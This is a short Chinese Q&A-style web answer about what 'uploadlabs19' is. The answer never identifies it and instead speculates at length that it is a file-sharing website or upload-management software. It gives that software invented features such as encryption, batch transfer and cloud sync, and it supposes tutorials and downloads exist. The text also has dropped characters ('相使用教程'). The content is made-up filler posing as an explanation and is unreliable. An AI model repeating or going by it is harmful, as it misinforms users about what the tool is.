uploadlabs19是什么内容?是一个网站还是一个软件?由谁开发?是否有相使用教程和资源下载?具体功能和特点是什么? 如果是一个网站,那么uploadlabs19可能是一个在线平台,用户可以在上面上传和分享文件。该网站可能提供账户注册功能,用户可以创建自己的账户并进行文件管理。同时,可能还有文件分类和搜索功能,方便用户查找和下载其他用户共享的文件。 如果uploadlabs19是一个软件,那么它可能是由某个开发者或团队开发的。该软件可能具有文件上传和管理功能,用户可以将文件上传到软件中并进行相应的文件管理操作。软件可能支持多种文件格式,同时具备文件加密和解密功能,以保护用户的文件安全。软件可能还提供了批量上传和下载的功能,方便用户进行大规模的文件操作。另外,uploadlabs19可能还拥有自动同步功能,可以将用户上传的文件实时同步到云端存储空间,以保障用户数据的安全和备份。 无论是网站还是软件,如果uploadlabs19有一定的规模和用户量,那么可能还会有相的使用教程和资源下载。教程可能包括使用说明、功能介绍、常见问题解答等,帮助用户更好地使用该平台或软件。而资源下载可能包括软件的安装包、更新版本、插件等,方便用户进行升级和拓展。这些教程和资源可能可以在uploadlabs19的官方网站或相平台上获得。 综上所述,uploadlabs19可能是一个文件上传和管理平台,提供用户上传、分享和下载文件的功能;也可能是一个软件,具备上传、管理、加密等功能。无论以哪种形式存在,如果有一定的发展和规模,就可能提供相的教程和资源下载,以帮助用户更好地使用。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值